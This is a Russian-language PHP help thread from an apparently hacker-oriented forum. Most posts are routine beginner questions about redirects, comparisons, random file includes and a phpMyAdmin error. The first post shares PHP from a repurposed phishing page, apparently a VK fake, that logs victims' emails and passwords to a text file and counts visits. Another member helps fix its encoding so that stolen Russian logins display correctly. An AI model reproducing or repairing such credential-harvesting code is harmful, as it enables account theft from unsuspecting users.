[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. SSHenzO

    SSHenzO Banned

    Joined:
    26 Feb 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Мужики подскажите. Переделал фейк чей то под свой сайт. Все норм вроде бы, но к сожалению в тхт файл акки на русском языке с русскими логинами и пассами пишутся криво т.е иероглифы. как решить проблему?
    Код куска отвечающий за сохранение в файл:

    PHP:
    <?
    $mail=$_POST["email"];
    $pass=$_POST["pass"];
    $ref=$_POST["ref"];
    if (!
    $ref$ref=getenv('HTTP_REFERER');    
    $ref=UrlDecode($ref);

    $now getdate(); 
    $nowstring=$now['mday'].".".$now['mon'].".".$now['year']." ".$now['hours'].":".$now['minutes'].":".$now['seconds'];

    if (
    $mail)
    {
        
    //General log file
        
    $log="./vk.txt";
        
    $file fopen ($log"a+");
        
    $ip=getenv('REMOTE_ADDR');
        if(
    $ip==""){$ip=getenv("HTTP_X_FORWARDED_FOR");}
        
    $str="$mail:$pass\n";
        
    fputs ($file$str);
        
    fclose($file);
        
    $list="./vk_fakefrmcnt.txt"//counter of form submits
    } else
    {
        
    $list="./vk_fakecnt.txt"//counter of page enters
    }
    $cnt=0;
    if(@
    $file fopen($list"r"))
    {
        
    $numberOfStrings count($file);
        if (
    $numberOfStrings 0) {
            
    $cnt=fgets($file);
        }
        
    fclose($file);
    }
    $cnt+=1;
    $file fopen ($list"w");
    fputs ($file$cnt);
    fclose($file);

    ?>
     
    #16161 SSHenzO, 11 Aug 2010
    Last edited: 11 Aug 2010
  2. SSHenzO

    SSHenzO Banned

    Joined:
    26 Feb 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Не помогает( раньше символы были ййй: а теперь яяяяя:яяяяяяяя
     
  3. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    SSHenzO В какой программе вы просматриваете txt файл? Если прям с того же сайта, то в браузере нажмите Вид - Кодировка - UTF8
     
    _________________________
  4. SSHenzO

    SSHenzO Banned

    Joined:
    26 Feb 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Да спасибо большое помогло. Смотрел через сам фтп клиент а оно кодировку русскую и не понимало по ходу.
     
  5. Cassie

    Cassie Member

    Joined:
    18 Mar 2009
    Messages:
    0
    Likes Received:
    6
    Reputations:
    5
    Помогите написать пару строк :)
    Пустое поле для ввода, не большого размера, чтоб если ввести туда значение "S" (s цифры или буквы, чтоб это значение я мог менять) Если ввели правильно, перекидывало на страницу, если нет выходила надпись - ошибка =)
    Буду очень признателен :)
     
  6. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    form.php

    PHP:
    <form action 'redirect.php' method 'POST'
    <
    input type 'text' name 'perem' size '3'
    <
    input type 'submit'
    </
    form
    redirect.php

    PHP:
    <?php
    $znachenie 
    'S';  // Нужное значение
    $perem $_POST ['perem'];
    if (isset(
    $_POST ['perem']) && $_POST['perem']==$znachenie)

    {
       
    header ("Location:http://site.com");
    }
    else
    {
        echo 
    'Ошибка!';
    }
    ?>
     
    #16166 h00lyshit!, 11 Aug 2010
    Last edited: 11 Aug 2010
  7. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    PHP:
    <form method=post>
    <input type=text name=kod>
    </form>
    <?
    $kod=$_POST['kod'];  // тут нужные проверки если только цифры то is_numeric и т.д
    if(isset($kod) AND $kod == $moy_kod) {
    echo "Ura ";
    header ("Location: $URL"); // redirekt
    }else{
    echo "ERROR";
    }
    ?>
    $moy_kod это твой код. Запиши его в фаил конфиг и приинклудь или получи с базы,файла

    UPD
    Опередили)
     
    #16167 -=Zhenek=-, 11 Aug 2010
    Last edited: 11 Aug 2010
  8. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Твой пример не будет работать, так как заголовки можно посылать, только если до этого не было никакого вывода в браузер.

    Скрипт выплюнет ошибку Warning: Cannot modify header information - headers already sent by (output started at бла бла бла) on line
     
    #16168 h00lyshit!, 11 Aug 2010
    Last edited: 11 Aug 2010
    1 person likes this.
  9. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    to Redwood
    Это я написал прям тут и не проверял.
    Меняем метод редиректа и все. дело в шляпе.
    Автору как пища в какую сторону копать, а не как 100% готовое решение.
    Думаю он под свой проект сам заточит
     
    1 person likes this.
  10. Cassie

    Cassie Member

    Joined:
    18 Mar 2009
    Messages:
    0
    Likes Received:
    6
    Reputations:
    5
    Redwood, -=Zhenek=- спасибо вам большое =) Я уже это писал, пост потерли..
    А теперь новый вопрос, если поставить редирект в .htaccess
    PHP:
    RewriteCond %{HTTP_HOST} ^site.ru
    RewriteRule 
    (.*) http://www.site2.ru$1 [R=301,L]
    RewriteCond %{HTTP_HOST} ^www.site.ru
    RewriteRule 
    (.*) http://www.site2.ru$1 [R=301,L]
    Будет ли на site2 виден реферер (в моем случае site.ru) пользователя?
     
  11. ArT-I-ShocK

    ArT-I-ShocK Banned

    Joined:
    10 Aug 2010
    Messages:
    17
    Likes Received:
    8
    Reputations:
    -5
    будет т.к. реферер хранится в браузере
     
  12. Edward

    Edward Banned

    Joined:
    11 Feb 2010
    Messages:
    329
    Likes Received:
    21
    Reputations:
    -1
    Хочу поэксперементировать со сравнением данных, вот код:

    Code:
    <?php
    $name = 'Admin';
    $kto_zdes = 'Admin';
    return $name = $kto_zdes;
    ?>
    как мне написать, что в итоге выводилось либо TRUE либо FALSE?
     
  13. SHiNiGaMi

    SHiNiGaMi Banned

    Joined:
    3 Jan 2010
    Messages:
    382
    Likes Received:
    55
    Reputations:
    15
    PHP:
    <?php
    $name 
    'Admin';
    $kto_zdes 'Admin';
    if(
    $name == $kto_zdes)
     echo 
    "true";
    else
     echo 
    "false";
    ?>
     
  14. Edward

    Edward Banned

    Joined:
    11 Feb 2010
    Messages:
    329
    Likes Received:
    21
    Reputations:
    -1
    ну через цикл я знал как сделать, а вот PHP есть само при сравнении возвращяет нужные значение, это можно как то сделать?
     
  15. FindeR

    FindeR Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    623
    Likes Received:
    138
    Reputations:
    20
    Где ты тут цикл нашёл? Условный оператор, может?

    Так пойдёт?:))
    Code:
    $p1 = 'test';
    $p2 = 'test2';
    echo ($p1 == $p2) ?  'true' : 'false';
    
     
  16. Edward

    Edward Banned

    Joined:
    11 Feb 2010
    Messages:
    329
    Likes Received:
    21
    Reputations:
    -1
    Ок спасибо, условный оператор=)
     
  17. Hixon

    Hixon Member

    Joined:
    17 Apr 2010
    Messages:
    88
    Likes Received:
    9
    Reputations:
    0
    Такс... Есть такая задача: есть текстовые файлы 1.txt 2.txt и т.д. до Х.txt Мне нужно, чтобы содержимое из одного из этих файлов публиковалось в указанном месте. Причём текстовый материал брался либо случайно, либо по очереди сначала 1.txt, затем из 2.txt и так далее. Php я начал изучать не так давно, поэтому не особо понимаю какую нужно использовать функцию или вообще как это осуществить. По идее нужно создать ассоциативный массив с этими файлами, затем через инклюд подгружать один из файлов. Или я ошибаюсь? Подскажите, пож-та, как это можно сделать.
     
  18. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Hixon
    PHP:
    echo file_get_contents('directory/'.rand(1,50).'.txt')
     
    _________________________
    1 person likes this.
  19. Hixon

    Hixon Member

    Joined:
    17 Apr 2010
    Messages:
    88
    Likes Received:
    9
    Reputations:
    0
    Спасибо! Всё замечательно работает, жалко, что я до этого момента не знал эту функцию.
     
  20. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    У меня установлен AppServ. После установки Visual Studio отказывается работать phpmyadmin
    Такая вот ошибка:
    Code:
    [IMG]http://s41.radikal.ru/i091/1008/1c/2f29de40de4b.png[/IMG] 
    
    
    Уже переустанавливал AppServ, всёравно не помогло :(
     
Thread Status:
Not open for further replies.